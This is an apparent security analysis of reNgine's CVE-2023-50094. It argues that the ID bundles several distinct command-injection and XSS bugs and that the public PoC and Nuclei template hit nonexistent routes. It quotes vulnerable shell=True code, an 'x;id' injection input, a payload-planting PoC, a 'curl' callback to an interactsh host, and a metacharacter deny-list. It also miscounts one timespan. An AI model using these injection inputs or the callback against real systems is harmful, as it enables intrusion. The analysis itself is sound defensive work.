CVE-2023-50094 was two bugs, or maybe three, depending on who you ask
GitHub advisory GHSA-fx7f-f735-vgh4 describes CVE-2023-50094 as authenticated command injection in reNgine's WAF detector. The vulnerable code is in web/api/views.py, pre-patch:
class WafDetector(APIView):
def get(self, request):
url = req.query_params.get('url')
response = {}
response['status'] = False
wafw00f_command = f'wafw00f {url}'
output = subprocess.check_output(wafw00f_command, shell=True)
shell=True plus an f-string. An attacker with a valid session hits /api/tools/waf_detector/?url=x;id and the shell runs id on the container as root. The advisory credits @n-thumann.
GitHub advisory GHSA-96q4-fj2m-jqf7 describes CVE-2023-50094 as stored XSS via DNS record poisoning in the Vulnerability Page. The reporter is @touhidshaikh. Different file, different sink, different mechanism, same CVE number.
The independent writeup at mattz.io/posts/cve-2023-50094/ attributes CVE-2023-50094 to a researcher who says they reported the WAF command injection via huntr.dev in February 2023 and went public in December 2023 after seventeen months without a response. That claim sits next to the GitHub advisory that credits @n-thumann for the same bug. One of those is the original disclosure. The other is a redisclosure, or a parallel discovery, or a credit dispute. The CVE record does not resolve it.
The changelog commit that makes the current state legible is b382685, authored by @shelbyc on August 30, 2024:
- * (Security) CVE-2024-41661 Stored Cross-Site Scripting (XSS) via DNS Record Poisoning
+ * (Security) CVE-2023-50094 Stored Cross-Site Scripting (XSS) via DNS Record Poisoning
...
- * (Security) CVE-2024-41661 Fix Authenticated command injection in WAF detection tool
+ * (Security) CVE-2023-50094 Fix Authenticated command injection in WAF detection tool
The commit message explains: "On 29 August 2024, MITRE informed GitHub that CVE-2024-41661, which was issued August 2024 is a duplicate of CVE-2023-50094." MITRE's position was that the earlier CVE number preempts the later. The effect on the record is that a CVE originally issued for one bug now names two different bugs in two different files reported by two different researchers. The CVE ID, going forward, is the set of all bugs that had to be filed under it.
The Nuclei template exploits a bug neither of those covers
Zierax's CVE-2023-50094_POC repository on GitHub is the basis for the Nuclei template. poc.py, line 30:
def modify_scan_engine(base_url, cookies, scan_engine_id):
url = f"{base_url}/api/scanengine/{scan_engine_id}/"
headers = {"Content-Type": "application/json"}
data = {"nmap_cmd": payload}
response = requests.patch(url, cookies=cookies, json=data, headers=headers)
The payload modifies a stored scan engine's nmap_cmd field. Nothing runs yet. Line 59 of the same file prints: "Payload injected. Start a scan using the modified Scan Engine." The actual command injection fires the next time someone runs a scan with this engine, at which point web/reNgine/tasks.py composes an nmap invocation by concatenating the stored nmap_cmd into a shell and executes.
This is a real bug in a real sink. It is not CVE-2023-50094. The first fifteen lines of Zierax's own README say so:
- **CVE ID**: TBD
- **Affected Version**: reNgine v2.2.0
...
- **Author on exploit-db**: Caner Tercan
- **Author of the POC**: Ziad (me)
The author of the PoC, in their own documentation, writes the CVE field as unassigned and credits the original finding to a different author on exploit-db. The CVE-2023-50094 label is in the repository name only.
The Nuclei template inherits the label and loses the PoC's disclaimer:
POST /scan-engine/update HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"nmap_cmd": 'curl {{interactsh-url}}'}
The matcher requires interactsh_protocol_2 == "dns" AND status_code_2 == 200. Both must be true for a hit.
Neither condition is reachable against reNgine. The root URLconf mounts scanEngine.urls under /scanEngine/, camelCase; the template uses /scan-engine/ with a hyphen. The update view is registered as <slug:slug>/update/<int:id>, not update. The form the view instantiates is UpdateEngineForm, which accepts yaml_configuration and engine_name as Django-encoded fields, not a JSON body with an nmap_cmd key. The HTTP request the template sends gets a 404 from the Django router before any reNgine code reads the body. No subprocess runs. No DNS callback leaves the host. The matcher cannot fire against a real deployment.
Zierax's own PoC has the same problem. /api/scanengine/{id}/ is not a registered API route in any released reNgine version, including the 2.2.0 the PoC claims to target. The REST router in web/api/urls.py lists every ViewSet: listDatatableSubdomain, listTargets, listSubdomains, listEndpoints, listDirectories, listVulnerability, and eleven more. None of them is scanengine. The scan-engine update remains a traditional Django form view at /scanEngine/<slug>/update/<int:id>/.
So the template, authored November 5, 2024, attacks a URL that does not exist, in a codebase whose bug it names has already been patched, against a CVE that does not cover the sink the payload gestures at. It will never return a true positive. It will never return a false positive. It is inert.
What the template does accomplish is indexing. Scanning infrastructure indexes Nuclei templates by the CVE ID in the filename. When CVE-2023-50094 appears in an advisory feed, scanner coverage automatically includes this template, because this template is CVE-2023-50094.yaml. The coverage metric goes up. The coverage is zero. The number going up is the product.
The same class, seven times in three years
Step back from CVE-2023-50094 and read the reNgine SECURITY.md as a list. Counting only the command injection bugs against the commit history that patches them:
| Patched |
Location |
Reporter |
CVE |
| May 2022 |
CMS Detector |
@ph33rr |
none |
| May 2022 |
Subdomain gathering |
none listed |
none |
| May 2022 |
Proxy |
@k0enm |
none |
| May 2022 |
YAML Engine |
@k0enm + @zongdeiqianxing |
none |
| Jul 2024 |
WAF Detector |
@n-thumann |
CVE-2023-50094 |
| Jul 2024 |
netlas whois |
none listed |
none |
| Feb 2025 |
nmap_cmd |
@gonzaless95 |
none |
Seven command injection fixes. One CVE for the class.
The commits rhyme. The CMS Detector fix in 8277cec0 replaces os.system(cms_detector_command) with a subprocess.Popen taking a pre-split argv. The WAF Detector fix in 109ae17 adds shlex.quote around the one parameter and switches from shell=True to an argv list. The netlas whois fix in d7ca7414 the same day reroutes the subprocess.check_output(command.split()) call through the central run_command utility, whose signature accepts a raw string and a shell=True flag. The nmap_cmd fix in 6ad0b191 seven months later adds a bespoke is_valid_nmap_command function that rejects any command not starting with nmap and denies the set {';', '&', '|', '>', '<', ' + "" + ', '$', '(', ')', '#', '\'}`.
None of the fixes change the central primitive. web/reNgine/tasks.py on HEAD contains seventeen call sites that pass shell=True to subprocess.Popen. The signature of run_command, which is where the netlas whois fix routed its input, is unchanged: a raw string command and a flag to decide whether to pass it through a shell. Every caller that passes shell=True is a potential next entry in the table.
The maintainer's February 9, 2025 notice, posted at the top of SECURITY.md, is legible in this light:
reNgine is currently undergoing a major refactoring to address all XSS-related vulnerabilities. While we are committed to security, we are temporarily suspending new XSS vulnerability reports until this refactoring is complete.
The notice is about XSS, not command injection, but the admission shape is the same. The patch-as-you-find-it model has stopped converging on XSS. The maintainer is saying out loud that the class has exhausted patch-level fixes and needs refactoring. The command injection class has produced six patches and a seventh instance that scanning tooling now points at without a CVE number.
This is design-debt-driver in the shape the pattern's mechanism describes literally. reNgine's architecture lets user input route into shell commands at dozens of places. Each place is a bug the first time it is read by an outside researcher. Each place gets its own patch. The class does not retire. Attackers know where the next one lives. Defenders track the CVE list and find out later.
The CVE number doesn't select a bug. It selects a drawer.
The scanner that picked this candidate up reported CVE-2023-50094 with "nuclei template+2, CVSS8.8+1, AV:N+1" as the reasons. The CVSS vector on the CVE record is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. That vector was computed for @n-thumann's WAF detector bug. It was not recomputed after @touhidshaikh's XSS was merged in; XSS via a stored DNS record does not have the same confidentiality/integrity/availability profile as a root shell on a container. The vector also does not describe @gonzaless95's nmap_cmd bug, which requires a different set of privileges to reach and hits a different impact surface. It does not describe whatever Zierax's template thinks it is testing. A CVSS vector is attached to a CVE number; the CVE number is a drawer; the vector describes one item in the drawer and nothing else.
The PoC repository says TBD. The Nuclei template says CVE-2023-50094. The GitHub advisory for the WAF detector bug says CVE-2023-50094. The GitHub advisory for the DNS-record XSS also says CVE-2023-50094. The changelog before August 29, 2024 said CVE-2024-41661. The reporter in the CVE record is not the reporter on the blog. The reporter on the blog is not the reporter on the patch. The reporter on the patch for the bug the Nuclei template is actually trying to hit has no CVE at all.
A CVE ID is supposed to be a pointer. This one points at a bag of bugs separated by several reporters, two years, six files, and one MITRE merge.
The patch for any one entry in that bag closes one instance. The architecture the bag shares, seventeen shell=True call sites routed through a utility whose signature takes a string and a shell flag, ships untouched.
PoC: Zierax/CVE-2023-50094_POC and projectdiscovery/nuclei-templates CVE-2023-50094.yaml
reNgine is not running out of command injection. reNgine is running out of CVE numbers to put them under.